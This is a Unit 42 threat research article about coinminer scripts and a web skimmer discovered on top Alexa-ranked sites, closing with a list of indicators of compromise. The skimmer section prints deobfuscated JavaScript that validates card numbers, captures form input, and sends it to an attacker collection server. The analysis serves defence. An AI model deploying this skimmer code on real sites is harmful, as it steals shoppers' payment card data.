[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/malicious-coinminers-web-skimmer/) * [Japanese](https://unit42.paloaltonetworks.com/ja/malicious-coinminers-web-skimmer/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # Top Alexa Sites Infected With Malicious Coinminers and Web Skimmer ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 8 min read Related Products [![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Taojie Wang](https://unit42.paloaltonetworks.com/author/taojie-wang/) * [Jin Chen](https://unit42.paloaltonetworks.com/author/jin-chen/) * [Tao Yan](https://unit42.paloaltonetworks.com/author/tao-yan/) * [Zhanglin He](https://unit42.paloaltonetworks.com/author/zhanglin-he/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:October 1, 2020 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/) * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Coinhive](https://unit42.paloaltonetworks.com/tag/coinhive/) * [Cryptocurrency](https://unit42.paloaltonetworks.com/tag/cryptocurrency/) * [JSEcoin](https://unit42.paloaltonetworks.com/tag/jsecoin/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/malicious-coinminers-web-skimmer/?pdf=download&lg=en&_wpnonce=edee969a51 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/malicious-coinminers-web-skimmer/?pdf=print&lg=en&_wpnonce=edee969a51 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Top%20Alexa%20Sites%20Infected%20With%20Malicious%20Coinminers%20and%20Web%20Skimmer&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmalicious-coinminers-web-skimmer%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmalicious-coinminers-web-skimmer%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmalicious-coinminers-web-skimmer%2F&title=Top%20Alexa%20Sites%20Infected%20With%20Malicious%20Coinminers%20and%20Web%20Skimmer "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmalicious-coinminers-web-skimmer%2F&text=Top%20Alexa%20Sites%20Infected%20With%20Malicious%20Coinminers%20and%20Web%20Skimmer "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fmalicious-coinminers-web-skimmer%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Top%20Alexa%20Sites%20Infected%20With%20Malicious%20Coinminers%20and%20Web%20Skimmer%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fmalicious-coinminers-web-skimmer%2F "Share in Mastodon") ## **Executive Summary** Unit 42 recently launched a threat hunting campaign among the top 10,000 websites globally on Alexa. Alexa rankings are a measure of website popularity, based on visitor interactions and number of visits. We found four sites that were affected, as outlined in Table 1. In the analysis that follows, we describe the malicious activity in more detail, covering malicious coinminers, which hijack CPU resources to mine cryptocurrency; malicious external links, which direct users to malicious sites; and a web skimmer attack, which is designed to steal payment card details from checkout forms. |------------------------|-------------------------|---------------------|----------------------------------|-----------------------------------------------------------------------------------------------------------------------| | Affected Domain | Affected Type | Attack Type | Alexa Rank (as of June 15, 2020) | Site Type | | libero\[.\]it | Malicious External Link | Malicious Coinminer | 607 | The number one website in Italy, offers various types of content and services: webmail, search engine, news and more. | | pojoksatu\[.\]id | Compromised Site | Malicious Coinminer | 1494 | News website in Indonesia. | | www\[.\]heureka\[.\]cz | Malicious External Link | Web Skimmer | 5204 | The largest e-commerce platform in Central and Eastern European markets. | | zoombangla\[.\]com | Compromised Site | Malicious Coinminer | 6579 | News website in Bangladesh. | *Table 1. Summary of affected top Alexa sites.* Palo Alto Networks customers are protected from the aforementioned threats by the [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) and [Threat Prevention](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention) cloud-delivered security subscriptions. ## **Compromised Sites** #### Malicious Coinminers [Coinhive](https://unit42.paloaltonetworks.com/caught-in-the-act-from-intrusive-coin-miners-to-scam-websites/) was a browser mining service that offered a JavaScript miner for the Monero blockchain. It [shut down](https://www.zdnet.com/article/coinhive-cryptojacking-service-to-shut-down-in-march-2019/) in March 2019, in part because it was widely abused by cybercriminals. There are two websites still serving Coinhive's miner script. One is coinhive.min.js and the other is JSEcoin. Figure 1, below, shows the commands issued to start the coinminer on a compromised website -- zoombangla\[.\]com. ![The source on a compromised website, zoombangla\[.\]com, shows commands used to start malicious coinminers and set parameters for them, including how much of a victim's CPU it will utilize.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-42.png) Figure 1. Commands to start the Coinhive miner with defined parameters. This miner can control how it utilizes the user's CPU and how many threads it uses for mining. The coinminer can also control how much of a target's CPU it's using. The available options for parameters are shown in Table 2. Oddly, the above codes configured the miner to rapidly drain the battery of an infected device, perhaps because the attackers felt a need to make the most use possible of any successfully compromised victims. Most attackers ensure a compromised device's power usage stays low to avoid detection and continue making money illicitly. However, in this case, it appears the attackers rushed to mine and did not configure it correctly. |-------------|--------------------| | Throttle | CPU usage limit to | | 0 (Default) | 100% | | 0.3 | 80% | | 0.5 | 50% - 70% | *Table 2. Parameter throttle and CPU usage map.* Another example of the commands to start the Coinhive mining script is shown below, from a different website we found serving it -- pojoksatu\[.\]id. ![The source on a compromised website, pojoksatu\[.\]id, shows default commands used to start malicious coinminers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-43.png) Figure 2. Commands to start the Coinhive miner with default parameters. Once a user visits either of the above sites, the coinmining script would automatically run and start mining for the attacker. The user's CPU load would increase as shown in Figure 3. ![An example of CPU load activity when affected by malicious coinminers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-44.png) Figure 3. CPU load activity Overall, we found **more than 60 URL pages** injected with Coinhive mining scripts in pojoksatu\[.\]id and zoombangla\[.\]com. Details are in the Appendix. #### Malicious External Links External link security has become increasingly important. As email services have improved at spotting spam and other types of malicious messages, attackers are using open redirects with external links instead. If attackers publish a malicious URL in a post on a legitimate website, likely very few visitors would find it suspicious. If users click on the link -- or even hover over it to check it first -- they will see the valid website in the link, but they will end up at a malicious site the attacker wants to redirect them to. The user would then be infected with some sort of malware, such as a malicious coinminer, or their personal information may be stolen. Figure 4 is a legitimate used car website on libero\[.\]it where you can search and compare vehicles. Attackers inserted malicious links into car advertisements, which redirected visitors interested in the vehicle to a malicious site that injected them with the JSEcoin coinmining script, as shown in Figures 5-7. Please note that the JSEcoin platform closed down on April 4, 2020. The scripts will still run, but the attackers aren't able to collect coins from it anymore. ![This shows an example of how attackers can insert malicious external links into compromised websites, such as the legitimate used car website shown here.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-45.png) Figure 4. External link in libero\[.\]it, which would redirect visitors to compromised sites. The source page would look like this: ![This image shows all the external links, which are highlighted, pointing to libero\[.\]it. Though the link appears legitimate, clicking it redirects the user to a malicious site.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-46.png) Figure 5. Source codes of the page containing malicious links. As you can see in Figure 5, all the external links, which are highlighted, point to libero\[.\]it. If you want to know more about the car, you would need to click the link. Then you would be redirected to the malicious site. ![The areas highlighted in red show how the redirect chain works, taking a user from a legitimate website to a malicious site.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-47.png) Figure 6. Redirect chain. This site is where the malicious coinminer is injected. ![This shows the source of www.clicautosate\[.\]it, where commands start the JSEcoin malicious coinminer.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-48.png) Figure 7. Commands to start the JSEcoin miner. #### Web Skimmer A web skimmer attack, also known as e-skimming or Magecart attacks, are a type of attack where a payment page on a website is compromised and injected with malicious code in order to steal payment card details when they are entered into checkout forms. The example we found among top-ranked websites on Alexa stems from another external link security issue. heureka\[.\]cz itself is an online shopping website. If you search Anti-COVID products (which are the top search keywords on the website) on the site, it will show a list of related products. ![This is an example of anti-COVID products on a top-ranked website on Alexa. Issues with external link security open the user up to attacks when looking through these popular product lists.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-49.png) Figure 8. Product example. There is one store listed after this product, and you can choose to buy from this store. ![This shows a link in heureka\[.\]cz which apparently advertises anti-COVID products, but actually redirects the user to compromised sites.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-50.png) Figure 9. Link in heureka\[.\]cz to compromised sites. The source page looks like this: ![Source code of the page on heureka\[.\]cz containing malicious links, which are highlighted.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-51.png) Figure 10. Source code of the page containing malicious links, which are highlighted. Once you click to visit this store, you would be redirected to the malicious site. ![The areas highlighted in red show how the user is redirected from a legitimate website to a malicious site.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-52.png) Figure 11. Redirect chain. And unfortunately, the entire site is full of obfuscated malicious skimmer scripts, as shown in Figure 12. ![In the case we're examining, the malicious site the user is redirected to is full of obfuscated malicious skimmer scripts. Because they're obfuscated, it's hard to predict what behavior they cause.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-53.png) Figure 12. Obfuscated skimmer codes. The above codes are obfuscated, making it hard to predict what behavior they cause. We had to deobfuscate the codes first. We then found the following functions, which are stealthy as they monitor a user's input of their payment card information and send it out to the remote attacker server. JavaScript function G1ED7H(XYRUDR) { var ZU554M = 0; XYRUDR = XYRUDR\["split"\](""); if (XYRUDR\["length"\] \< 13 || XYRUDR\["length"\] \> 19) return false; for (var E9VLQF = XYRUDR\["length"\] - 1; E9VLQF \>= 0; E9VLQF--) { if (!XYRUDR\[E9VLQF\]\["match"\](/\[0-9\]/)) return false; if (!(E9VLQF % 2)) { ZU554M += (XYRUDR\[E9VLQF\] \* 2 \> 9) ? XYRUDR\[E9VLQF\] \* 2 - 9 : XYRUDR\[E9VLQF\] \* 2 } else { ZU554M += XYRUDR\[E9VLQF\] \* 1 } } return !(ZU554M % 10) } |-------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | function G1ED7H(XYRUDR) { var ZU554M = 0; XYRUDR = XYRUDR\["split"\](""); if (XYRUDR\["length"\] \< 13 || XYRUDR\["length"\] \> 19) return false; for (var E9VLQF = XYRUDR\["length"\] - 1; E9VLQF \>= 0; E9VLQF--) { if (!XYRUDR\[E9VLQF\]\["match"\](/\[0-9\]/)) return false; if (!(E9VLQF % 2)) { ZU554M += (XYRUDR\[E9VLQF\] \* 2 \> 9) ? XYRUDR\[E9VLQF\] \* 2 - 9 : XYRUDR\[E9VLQF\] \* 2 } else { ZU554M += XYRUDR\[E9VLQF\] \* 1 } } return !(ZU554M % 10) } | This function is used to validate a credit card number with the Luhn Algorithm, which is widely used to validate a variety of identification numbers, such as [credit card numbers](https://en.wikipedia.org/wiki/Payment_card_number). JavaScript function XYRUDR() { var P23WTA = document\['all'\] || document\['getElementsByTagName'\](\*); for (E9VLQF = 0; E9VLQF \< P23WTA\['length'\]; E9VLQF++) { if (".input.select.form.button.a.img."\["indexOf"\]("." + P23WTA\[E9VLQF\]\["tagName"\]\["toLowerCase"\]() + ".") \>= 0 \&\& !P23WTA\[E9VLQF\]\["r"+Math\["random"\]()\]) { P23WTA\[E9VLQF\]\["r"+Math\["random"\]()\] = 1; XCT5WY(P23WTA\[E9VLQF\], "mousedown"); } setTimeout(XYRUDR, 99) } |-------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | function XYRUDR() { var P23WTA = document\['all'\] || document\['getElementsByTagName'\](\*); for (E9VLQF = 0; E9VLQF \< P23WTA\['length'\]; E9VLQF++) { if (".input.select.form.button.a.img."\["indexOf"\]("." + P23WTA\[E9VLQF\]\["tagName"\]\["toLowerCase"\]() + ".") \>= 0 \&\& !P23WTA\[E9VLQF\]\["r"+Math\["random"\]()\]) { P23WTA\[E9VLQF\]\["r"+Math\["random"\]()\] = 1; XCT5WY(P23WTA\[E9VLQF\], "mousedown"); } setTimeout(XYRUDR, 99) } | This is the beginning of the skimmer. It would run every 99 seconds to call the function XYRUDR. Function XYRUDR would find all the tags in \[input, select, form, button, a, img\]. function XCT5WY(P23WTA, "mousedown") { P23WTA\["addEventListener"\] ? P23WTA\["addEventListener"\](""mousedown", GB14BD, false) : P23WTA\["attachEvent"\]("onmousedown", GB14BD) } |-----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 | function XCT5WY(P23WTA, "mousedown") { P23WTA\["addEventListener"\] ? P23WTA\["addEventListener"\](""mousedown", GB14BD, false) : P23WTA\["attachEvent"\]("onmousedown", GB14BD) } | It would set the "mousedown" event listener for the aforementioned tags. JavaScript function GB14BD() { var P23WTA = document\["all"\] || document\["getElementsByTagName"\]("\*"); E9VLQF, N798NL = "", E; ITCHLA = ""; for (E9VLQF = 0; E9VLQF \< P23WTA\["length"\]; E9VLQF++) { if (".input.select."\["indexOf"\]("." + P23WTA\[E9VLQF\]\["tagName"\]\["toLowerCase"\]() + ".") \>= 0 \&\& P23WTA\[E9VLQF\]\["value"\]) { if (G1ED7H(P23WTA\[E9VLQF\]\["value"\]\["split"\](" ")\["join"\](""))) { ITCHLA = P23WTA\[E9VLQF\]\["value"\]\["split"\](" ")\["join"\](""); } N798NL += \& + (P23WTA\[E9VLQF\]\["name"\] || P23WTA\[E9VLQF\]\["id"\] || "i\_" + E9VLQF) + "=" + CVZLRD(P23WTA\[E9VLQF\]) } } if (ECUOWQ != N798NL \&\& ITCHLA) { ECUOWQ = N798NL; MAU1KL() } } |----------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function GB14BD() { var P23WTA = document\["all"\] || document\["getElementsByTagName"\]("\*"); E9VLQF, N798NL = "", E; ITCHLA = ""; for (E9VLQF = 0; E9VLQF \< P23WTA\["length"\]; E9VLQF++) { if (".input.select."\["indexOf"\]("." + P23WTA\[E9VLQF\]\["tagName"\]\["toLowerCase"\]() + ".") \>= 0 \&\& P23WTA\[E9VLQF\]\["value"\]) { if (G1ED7H(P23WTA\[E9VLQF\]\["value"\]\["split"\](" ")\["join"\](""))) { ITCHLA = P23WTA\[E9VLQF\]\["value"\]\["split"\](" ")\["join"\](""); } N798NL += \& + (P23WTA\[E9VLQF\]\["name"\] || P23WTA\[E9VLQF\]\["id"\] || "i\_" + E9VLQF) + "=" + CVZLRD(P23WTA\[E9VLQF\]) } } if (ECUOWQ != N798NL \&\& ITCHLA) { ECUOWQ = N798NL; MAU1KL() } } | Once the event triggers, it would call this function to get the value of the tag. JavaScript function MAU1KL() { var ZU554M = "https://"; Y3V4T2 = String; ZU554M += "metahtmlhead.com" + "/" + "folder" + "/" + "ip" + "/" + "zxc" + "." + "php"; var P23WTA = document\["createElement"\]("script"); N798NL = document\["getElementsByTagName"\]("html")\[0\]; P23WTA = N798NL\["insertBefore"\](P23WTA, null); P23WTA\["src"\] = ZU554M + "?r=" + MLEMCG + ECUOWQ + "\&" + "c" + "c" + "=" + ITCHLA } |-------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | function MAU1KL() { var ZU554M = "https://"; Y3V4T2 = String; ZU554M += "metahtmlhead.com" + "/" + "folder" + "/" + "ip" + "/" + "zxc" + "." + "php"; var P23WTA = document\["createElement"\]("script"); N798NL = document\["getElementsByTagName"\]("html")\[0\]; P23WTA = N798NL\["insertBefore"\](P23WTA, null); P23WTA\["src"\] = ZU554M + "?r=" + MLEMCG + ECUOWQ + "\&" + "c" + "c" + "=" + ITCHLA } | This function is used to send credit card information out to the collection server. To recap, the skimmer work flow is: 1. Add event listener for \[input, select, form, button, a, img\]. 2. When a number string passes credit card validation checks, it sends the information out. 3. Construct the collection server URL and parameters, then send the information out. A successful attack would send all the user information to the remote attacker server, including credit card number, address, etc. **Collection Server: metahtmlhead\[.\]com** ![Collection server: metahtmlhead\[.\]com. The section outlined in red shows credit card information collected during the web skimmer attack being sent to the collection server.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-54.png) Figure 13. Credit card information being sent to the collection server. ## **URL Filtering Analysis** ![The pie chart shows how the visits to affected sites that we observed are distributed in terms of geolocation. While most visits came from Western Europe, a substantial portion of visits also originated from the Eastern and Western U.S.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-55.png) Figure 14. URL Filtering customer geolocation distribution. This figure shows the general geographic distribution of visits to the affected sites that we observed. While most visitors clearly came from Western Europe, visitors from the Eastern U.S. and Western U.S. are not far behind. This graph indicates a broad spectrum of potential victims all across the globe. ## Conclusion Our research highlights that users need to exercise caution, even when visiting popular, apparently reputable websites. These are the same sites likely to generate the most income for attackers focused on malicious coinmining and web skimming. When users click a link away from a core site, they should pay attention to the full URL of the site where they end up to ensure it's where they expected to be. A simple way to avoid malicious coinminers is to have your browser and system fully patched with endpoint security installed. Palo Alto Networks customers are protected from the mentioned threats by the [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) and [Threat Prevention](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention) cloud-delivered security subscriptions. ## IOCS: zoombangla\[.\]com/career/ bandung\[.\]pojoksatu\[.\]id/politik-2/pemilihan-legislatif/#terpopuler clickout\[.\]libero\[.\]it/auto-furgoni-in-vendita/AVzIAHFZ2VJ8PlgGhbdOweEIAAABZw www\[.\]heureka\[.\]cz/exit/ovci-veci-cz/3773569318/?z=2\&p=29\&tb=0 www\[.\]ovci-veci\[.\]cz www\[.\]clicautousate\[.\]it/auto/mini-cabrio-torino-1855861\[.\]php?utm\_source=libero.it bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/made-wirawan-waspadai-motivasi-berlipat/ bandung\[.\]pojoksatu\[.\]id/lifestyle/wisata/ bandung\[.\]pojoksatu\[.\]id/persib/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/partai-pendukung-ridwan-kamil-kuasai/ bandung\[.\]pojoksatu\[.\]id/#mingguini bandung\[.\]pojoksatu\[.\]id/bandung-barat bandung\[.\]pojoksatu\[.\]id//id/corporate-social-responsibility\[.\]html bandung\[.\]pojoksatu\[.\]id//id\[.\]html bandung\[.\]pojoksatu\[.\]id/iklan/bjb-lebaran/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/warganet-heboh-amanda-manopo-upload-foto/feed/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/pencipta-lagi-syantik-bantah-ambil-jargon/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/siti-badriah-langsung-jawab-sindiran/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/09 bandung\[.\]pojoksatu\[.\]id/olahraga/top-soccer/ bandung\[.\]pojoksatu\[.\]id/jabar-area/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/09/puncaki-daftar-topscorer-ini-reaksi-ezechiel/ bandung\[.\]pojoksatu\[.\]id/pojok-info/ bandung\[.\]pojoksatu\[.\]id/politik-2/pilgub-jabar/ bandung\[.\]pojoksatu\[.\]id//id/corporate-website/kontak-kami\[.\]html bandung\[.\]pojoksatu\[.\]id/lifestyle/kuliner/ bandung\[.\]pojoksatu\[.\]id//id/corporate-website/rate-dan-biaya/prime-lending-rate\[.\]html bandung\[.\]pojoksatu\[.\]id/read/tag/berita-selebritis/ bandung\[.\]pojoksatu\[.\]id/bandung/ bandung\[.\]pojoksatu\[.\]id/?p%3D177978 bandung\[.\]pojoksatu\[.\]id/read/2018/07/02/bagaimana-cara-membuat-si-dia-terpuaskan/ bandung\[.\]pojoksatu\[.\]id/politik/ bandung\[.\]pojoksatu\[.\]id//id/corporate-website\[.\]html bandung\[.\]pojoksatu\[.\]id/bisnis/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/vincenzo-alberto-annese-persib-vs-psis-duel bandung\[.\]pojoksatu\[.\]id/read/2018/07/09/kapolda-jabar-apresiasi-1-800-bandit-jalanan-diamankan-jelang-asian/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/jennifer-lopez-dan-alex-rodriguez bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/kroasia-menuju-semifinal bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/mario-gomez-demi-3-poin-persib-main/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/livorno-maaf-juve-kami-sudah-dapatkan-cristiano-lebih/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/mantap-lagu-exo-akan-dimainkan-di-final-piala-dunia/ bandung\[.\]pojoksatu\[.\]id/politik-2/pilkada-serentak/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/warganet-heboh-amanda-manopo-upload-foto/#respond bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/jika-mediasi-gagal-sule-pasrah-dicerai/ bandung\[.\]pojoksatu\[.\]id/kabupaten-bandung/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/09/made-wirawan-waspadai-permainan-cepat/ bandung\[.\]pojoksatu\[.\]id//en\[.\]html bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/gairah-seks-menurun-sikat-5-buah-ini-sebelum/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/sah-ade-yasin-iwan-setiawan-menang-di-pilbup-bogor/ bandung\[.\]pojoksatu\[.\]id/selebritis/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/06/brotherhood-meradang-keluarkan-maklumat-soal/ bandung\[.\]pojoksatu\[.\]id/olahraga/ bandung\[.\]pojoksatu\[.\]id/#grve-polling-modal bandung\[.\]pojoksatu\[.\]id/read/2018/07/09/kpu-jabar-klaim-tak-ada-celah-gugat-hasil-rekap-suara/ bandung\[.\]pojoksatu\[.\]id/comments/feed/ bandung\[.\]pojoksatu\[.\]id/olahraga/moto-gp/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/rekap-suara-pilgub-jabar-diprediksi-minggu/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/pemkot-bandung-bakal-tertibkan-minimarket/ bandung\[.\]pojoksatu\[.\]id/lifestyle/belanja/ bandung\[.\]pojoksatu\[.\]id/read/editor/redaksi3/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/07/warganet-heboh-amanda-manopo-upload-foto/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/timnas-indonesia-dipastikan-segel-tiket-semifinal-piala-aff-u-19/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/hade-pisan-ezechiel-selain-raja-gol-persib-ternyata-ada-prestasi/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/mario-gomez-ayo-bobotoh-birukan-gbla-sore/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/harga-tiket-asian-games-2018-kemahalan-cak-imin-angkat-suara/ bandung\[.\]pojoksatu\[.\]id/iklan/iklan-dprd/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/08/kata-pengamat-peluang-prabowo-ahy-kalahkan-jokowi-lebih/ bandung\[.\]pojoksatu\[.\]id/iklan/pemprov-jabar/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/09/si-jago-merah-lahap-rumah-di-jalan-tera-belakang/ bandung\[.\]pojoksatu\[.\]id//id/corporate-website/rate-dan-biaya/kurs-valas\[.\]html bandung\[.\]pojoksatu\[.\]id/read/2018/07/09/kemenangan-emil-dan-banyak-catatan-bawaslu-untuk-kpu/ bandung\[.\]pojoksatu\[.\]id/lifestyle/ bandung\[.\]pojoksatu\[.\]id/read/2018/07/01/cadas-ferry-pak-presiden-jokowi-aja-suruh-bunuh-diri/ Back to top ### Tags * [Coinhive](https://unit42.paloaltonetworks.com/tag/coinhive/ "Coinhive") * [Cryptocurrency](https://unit42.paloaltonetworks.com/tag/cryptocurrency/ "Cryptocurrency") * [JSEcoin](https://unit42.paloaltonetworks.com/tag/jsecoin/ "JSEcoin") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Case Study: Emotet Thread Hijacking, an Email Attack Technique](https://unit42.paloaltonetworks.com/emotet-thread-hijacking/ "Case Study: Emotet Thread Hijacking, an Email Attack Technique") ### Table of Contents * ### Related Articles * [Vidar Stealer Unmasked: Code Signing Abuse, Go Loaders and File Inflation](https://unit42.paloaltonetworks.com/vidar-stealer-xmrig-miner-campaign-analysis/ "article - table of contents") * [Gremlin Stealer's Evolved Tactics: Hiding in Plain Sight With Resource Files](https://unit42.paloaltonetworks.com/gremlin-stealer-evolution/ "article - table of contents") * [01flip: Multi-Platform Ransomware Written in Rust](https://unit42.paloaltonetworks.com/new-ransomware-01flip-written-in-rust/ "article - table of contents") ## Related Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/) * [API](https://unit42.paloaltonetworks.com/tag/api/ "API") * [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE") ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a 